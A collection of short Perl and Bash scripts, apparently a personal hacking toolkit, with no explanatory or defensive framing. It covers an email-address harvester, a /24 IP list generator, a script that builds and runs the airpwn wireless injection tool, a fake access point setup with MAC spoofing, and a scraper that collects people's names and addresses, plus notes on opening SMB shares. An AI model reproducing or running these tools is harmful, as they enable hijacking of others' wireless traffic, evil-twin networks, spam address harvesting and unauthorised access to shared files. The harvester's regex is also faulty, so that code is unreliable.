Code
# An email reaper, takes email addresses out of a text file
#########################################################################
#!/usr/bin/perl
$data_file="jnuacinuserhtml.txt";
open(DAT, $data_file) || die("Could not open file!");
@raw_data=<DAT>;
$lines = @raw_data;
$count = 0;
while($count <= $lines) {
if(@raw_data[$count] =~ m/mailto:(.*?)\@/){
print"$1\n";
}
$count++
}
close(DAT);
exit;
#########################################################################
# An IP maker spits out a txt file with all the ips in a domain
#########################################################################
#!/bin/bash
echo -n "Enter domain i.e. 123.123.123. :-"
read baseip
filena="${baseip}txt"
echo ${baseip}1 > $filena
X=2
while [ $X -le 254 ]
do
echo $baseip$X >> $filena
X=$((X+1))
done
echo All IPs written to $filena
#########################################################################
# Starts up airpwn under linux backtrack I think (an early version)
#########################################################################
#!/bin/bash
wget http://kent.dl.sourceforge.net/sourceforge/airpwn/airpwn-1.3.tgz
gzip -d airpwn-1.3.tgz
tar -xvvf airpwn-1.3.tar
cd airpwn-1.3
gzip -d lorcon-current.tgz
tar -xvvf lorcon-current.tar
cd lorcon
configure
make
make install
cd ..
configure
make
madwifing_prep.sh
airpwn -c conf/greet_html -d madwifi -i ath1 -v -v
# Sets up a fake access point.
#####################################################################
#!/bin/perl
print "Please enter essid/wifi network name:";
$essid = <STDIN>;
$IFCONFIG = "/sbin/ifconfig";
$IWCONFIG = "/sbin/iwconfig";
$interface_opt = "ath0";
$channel = "6";
$mac = "00:09:5B:EB:32:D2";
$iwmode = "Master";
$MACC = "/usr/local/bin/macchanger";
$WLAN = "/usr/local/bin/wlanconfig";
$BASE = "wifi0";
system( $IFCONFIG, $interface_opt, "down" );
system( $WLAN, "$interface_opt", "destroy" );
system( "'$WLAN' '$interface_opt' create wlandev '$BASE' wlanmode ap
-bssid >/dev/null 2>&1" );
system( "'$MACC' -m '$mac' '$BASE' >/dev/null 2>&1" );
system( $WLAN, "$interface_opt", "destroy" );
system( "'$WLAN' '$interface_opt' create wlandev '$BASE' wlanmode ap
-bssid >/dev/null 2>&1" );
system( "'$MACC' -m '$mac' '$BASE' >/dev/null 2>&1" );
system( $IWCONFIG, $interface_opt, "ESSID", $essid );
system( $IWCONFIG, $interface_opt, "channel", $channel );
system( $IFCONFIG, $interface_opt, "up" );
print "\nDone\n";
#######################################################################################
#######################################################################################
#
# Playtime - A perl script to extract data
#
#!/usr/bin/perl
# notes
#
# perl playtime.pl > nyorkshire.csv
#
# smb4k can be found at backtrack>vulnerability identification>smb analysis>smb4k
# this is used to open up shares.
#
# hard drive can be found at /mnt/sda1
use LWP::Simple;
use HTML::TokeParser;
$link2 = 'http://www.enterurlhere.com/World/Europe/United_Kingdom/North_Yorkshire/';
$keyword = "deliminator";
my @followers;
my $html2 = get("$link2");
my $stream2 = HTML::TokeParser->new(\$html2);
while (my $token2 = $stream2->get_tag("a")) {
my $url2 = $token2->[1]{href} || "-";
if($url2 =~ m/$keyword/){
#print"$url\n";
push(@followers, "$url2\n");
# adding extra pages
push(@followers, "$url2\?page\=2\n");
push(@followers, "$url2\?page\=3\n");
push(@followers, "$url2\?page\=4\n");
push(@followers, "$url2\?page\=5\n");
push(@followers, "$url2\?page\=6\n");
push(@followers, "$url2\?page\=7\n");
push(@followers, "$url2\?page\=8\n");
push(@followers, "$url2\?page\=9\n");
}
}
#print "@followers";
foreach (@followers) {
$link = "http://www.websiteaddress.com$_";
#print "$link":
$html = get("$link");
my @html1 = split('headline', $html);
# print"$html\n";
$lines = @html1;
$count = 0;
while($count <= $lines) {
if(@html1[$count] =~ m/\<b\>(.*?)\<\/b\>(.*?)address:(.*?)\<br(.*?)/){
#print @html1[$count];
print"$1";
print",";
print"$3\n";
}
$count++
}
}
############################################################################
|